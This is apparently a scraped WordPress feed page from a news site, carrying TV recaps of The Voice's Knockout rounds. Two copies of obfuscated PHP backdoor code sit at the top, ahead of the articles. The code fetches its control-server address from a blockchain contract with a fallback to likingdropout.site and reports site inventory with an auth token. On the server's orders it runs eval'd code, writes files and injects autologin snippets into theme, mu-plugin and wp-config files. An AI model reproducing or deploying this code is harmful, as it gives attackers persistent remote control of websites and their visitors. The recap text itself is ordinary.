// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Knockouts – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 24 Nov 2020 12:48:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Knockouts – Brief News https://briefnews.eu 32 32 The Voice Recap: The Knockouts Put Five Singers Down for the Count — Plus, the Star Turn That Broke Kelly Clarkson https://briefnews.eu/the-voice-recap-the-knockouts-put-five-singers-down-for-the-count-plus-the-star-turn-that-broke-kelly-clarkson/ https://briefnews.eu/the-voice-recap-the-knockouts-put-five-singers-down-for-the-count-plus-the-star-turn-that-broke-kelly-clarkson/#respond Tue, 24 Nov 2020 12:48:13 +0000 https://briefnews.eu/the-voice-recap-the-knockouts-put-five-singers-down-for-the-count-plus-the-star-turn-that-broke-kelly-clarkson/ Contestants dropped like mics as The Voice’s Season 19 Knockouts continued Monday. Five — count ’em, five — would-be winners were sent packing. Well, at least if you include the one poor guy whose performance was entirely cut from the show. Read on, and we’ll go over all of the KOs that we got to see and hear in full, then you can sound off about the coaches’ picks and whether the ear-cleaning I gave myself after panning Payge Turner’s performance last week did any good.

Team Kelly: Desz performing “Can We Talk” (Grade: A) defeated Sid Kingsley performing “Make It Rain” (Grade: A) — Sid stolen by Blake | Once Desz adorably got over the fact that Usher’s eyes really do sparkle — of course she snorted — she impressed him with the fact that she could go as low as a tenor. Newly-stolen Sid tackled a Foy Vance number I’d never heard but immediately loved; damn, that was hot — and it was flippin’ perfect for Sid’s raspy voice. Usher advised him to divide his soulfulness between his voice and his piano-playing. On stage, Desz delivered a fantastic performance. She had the presence, the voice, and holy crap! That key change! She wasn’t just living the moment, she was loving it, and her joy was contagious. I was like, “Good luck, Sid.” But he did not need any luck. The minute he opened his mouth, smoke came out. There shoulda been steam coming off that man, because his vocal was as hot as an Atlanta sidewalk in August. Personally, I preferred his gutsy, bluesy performance to Desz’s, fun as hers was, but I assumed she’d get the win; she was more of a crowd-pleaser. What a relief that Sid got stolen, electing to go with Blake instead of former coach John. Sid’s whole vibe kinda reminds me of the True Blood theme song.

Team Blake: Jim Ranger performing “Humble and Kind” (Grade: A) defeated Jus Jon performing “Finesse” (Grade: B-) | Before bringing in his contestants, Blake explained that he’d paired them in a Knockout because, despite being in very different lanes, they were his most soulful team members. Jus Jon was especially nervous, what with singing in front of his idol and all. Usher advised him to incorporate into his performance more variation and “grease.” He also rhymed a great many of his suggestions: “Don’t hide it, divide it,” he recommended. (Has he always done that?) “Jim is a jam,” Usher decided after hearing him run through Tim McGraw’s classic. What most impressed me was that I didn’t hate it, being as enamored as I am of Addison Agen’s Season 13 version; Jim made it his own in a way that made it feel like a whole different song. When it was go time, Jim nailed it. Also stapled it, taped it and sutured it. He started off lovely and soft, inviting us in, so by the time he got big and raspy, he had us floating on every note he sang. Absolutely winning. When it was Jus Jon’s turn, bless his heart, he was a lil’ stiff. He loosened up toward the end of the Knockout and started to look like he was having fun, but I figured by then, he’d already lost. His voice was strong and clear, and didn’t falter no matter how much he moved around, but it didn’t feel… special. If Jim hadn’t had it in the bag, he surely would’ve turned the tide when he choked up explaining to the coaches what the song meant to him and his “knucklehead” boys.

The voice recap carter rubin jim ranger knockoutsTeam Legend: Bailey Rae performing “Let Me Down Easy” (Grade: A-) defeated Lauren Frihauf performing “Cry Baby” (Grade: A) | In rehearsal, it sounded like Bailey had chosen herself an ideal number. John’s only concern was that she wasn’t physically telling the story that she was singing. Lauren, on the other hand, had picked a song that didn’t play to her strengths; she’s sorta sweet-voiced, and heaven knows “sweet” isn’t the word you automatically associate with Janis Joplin’s hits. So John and Usher tried to help her rearrange the number so that it would suit her better. Under the spotlight, Bailey sounded record-perfect, but the only new physicality she seemed to put into her performance was moving her free hand with pretty much every syllable she sang. It didn’t matter, though; she was as solid as the broad side of a barn. When it was Lauren’s turn… well, all right. She made me look up and lean in. There was a cool Cowboy Junkies vibe to her verse that set her up nicely for success on the bigger chorus. Was she actually winning this thing? To my astonishment, she was. Bailey is probably the stronger, better vocalist overall, but Lauren’s performance was way more interesting. It wasn’t perfect, but the little bits of raucous messiness in it worked — like they were a tribute to Janis that only Lauren could’ve made.

Team Blake: Ian Flanigan performing “Beautiful Crazy” (Grade: B) defeated James Pyle performing “In My Blood” (Grade: B+) | Ahead of Ian’s run-through, he told us that working the bar scene, he’d “created a lot of alcoholism in my life” before meeting his partner. Blake advised him not to drop lines before the lyric is finished, and Usher recommended that James not get ahead of the beat. Up first, Ian took us, as he’s wont to do, right to two in the morning at the saloon on the outskirts of town. It wasn’t the showiest performance ever, but there was an intimacy to it that worked in Ian’s favor. And I’ll be damned if it didn’t sound like he was singing some of the more urgent lines directly to his partner. When it was James’ turn, wow, he did the hand thing even more than Bailey Rae had. But his performance was explosive. He didn’t so much sing the chorus as expel it from his body. If I was only judging based on this Knockout, I might keep James, but if I were Blake, and knowing what Ian is overall capable of, I’d have chosen to keep him. “Do you drink boiling water?” Blake asked him. That was how unique his voice was. Ya just don’t let that go.

The voice recap carter rubin jim ranger knockoutsTeam Kelly: Madeline Consoer performing “Die From a Broken Heart” (Grade: A-) defeated Kelsie Watts performing “You Oughta Know” (Grade: B) | When Madeline realized that she’d be competing with Kelsie, she admitted that she got in her head. Couldn’t say I blamed her; Kelsie is a vocal beast! But there was something about her Alanis run-through that wasn’t working. Maybe it was that her voice was so pretty, so perfect, it didn’t sound angry enough? Madeline sounded like enunciation was going to be an issue. Usher challenged her to be more emotional in her performance, even if it took her back to her own heartbreaking past. Basically, the same problem as Kelsie was having: It wasn’t about the notes, it was about the feeling. On stage, Kelsie sang through a perfect sneer and very much “acted” the song. And on one hand, it worked: I couldn’t take my eyes off her; her rage was palpable. On the other hand, it didn’t work: That rage felt manufactured, like an Atlantic City revue, not an authentic rock performance. All in all, it was like a cake that coulda used an extra 10 minutes in the oven. It just wasn’t quite… done. When it was Madeline’s turn, she sang with a beautiful clarity that instantly made me say, “Well, hello!” Her number was far less bombastic than Kelsie’s, but it was a much better showcase for Madeline’s vocals. And the vulnerability that she managed to display, I thought, had to have clinched the win. I believed Madeline here, I didn’t believe Kelsie.

Team Gwen: Carter Rubin performing “You Say” (Grade: A+) defeated Chloé Hogan performing “Weak” (Grade: A-) — Chloé stolen by John | Carter shared in rehearsal that he’d chosen Lauren Daigle’s song because it spoke to him as a kid who’s a little different and who’s been picked on for that fact. (Dang, that kid is poised, huh?) Music teacher Chloe explained that she’d chosen SWV’s classic in part because it was so significant in the history of Black music. Usher advised her to be more relaxed and dynamic in her vocal. “If you’re in your head,” he said, “you’re dead.” In the moment of truth, Carter turned out a performance that was so polished, powerful and well-thought-through, it made me wish that Voice contestants more often went on to become superstars. He was spectacular. “I can’t breathe,” Kelly gasped afterwards. He was that good. When it was Chloé’s turn, she brought to the fore a vocal that was as silky as anything hanging in the wardrobe department. I was in the middle of typing her downfall was probably going to be that she showed less range than Carter when… boom, she changed on a dime and went big. In the end, this was a much more dynamic Chloé than I’d seen/heard before. This was a potential contender. Still I didn’t think she could compete with Carter. As John noted, her song was, in a way, not built for this competition. And I doubted that I was the only one listening who could’ve said what Kelly did about Carter’s performance: “It broke me in the most amazing of ways.”

Dispatched in the briefest of cutaways — argh, what’s the hurry? — Joseph Soul defeated Van Andrew to remain on Team Gwen. And while we got to hear Gwen’s thoughts on the victor’s performance, we didn’t get to hear so much as a note of Van singing. (Good Lord, how bad could he have been?)

What did you think of Monday’s Knockouts? Vote for the standout in the poll below, then hit the comments with the elimination that stung the most. (Kelsie for me, even though her Alanis was kinda a “You Oughta Know”-go.)

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]]> https://briefnews.eu/the-voice-recap-the-knockouts-put-five-singers-down-for-the-count-plus-the-star-turn-that-broke-kelly-clarkson/feed/ 0 The Voice Recap: Which Knockouts Packed the Biggest Emotional Punch? https://briefnews.eu/the-voice-recap-which-knockouts-packed-the-biggest-emotional-punch/ https://briefnews.eu/the-voice-recap-which-knockouts-packed-the-biggest-emotional-punch/#respond Tue, 14 Apr 2020 10:01:16 +0000 https://briefnews.eu/the-voice-recap-which-knockouts-packed-the-biggest-emotional-punch/ As we lurch ever closer to the uncertainty of whether The Voice will be able to stage any kind of live episodes in Season 18, the pretaped Knockouts kicked off Monday. And did they ever pack a punch! At least one sing-off — Team Kelly’s CammWess and Megan Danielle’s — was so impressive, it made me rethink my stance on how easy the coach’s decisions are. It also led to the strangest tangent ever about what it’s like when Blake Shelton blows out his Spanx. (It resembles a half-open can of biscuits, it turns out.) How was the rest of the night? Read on; as always, we’ll discuss.

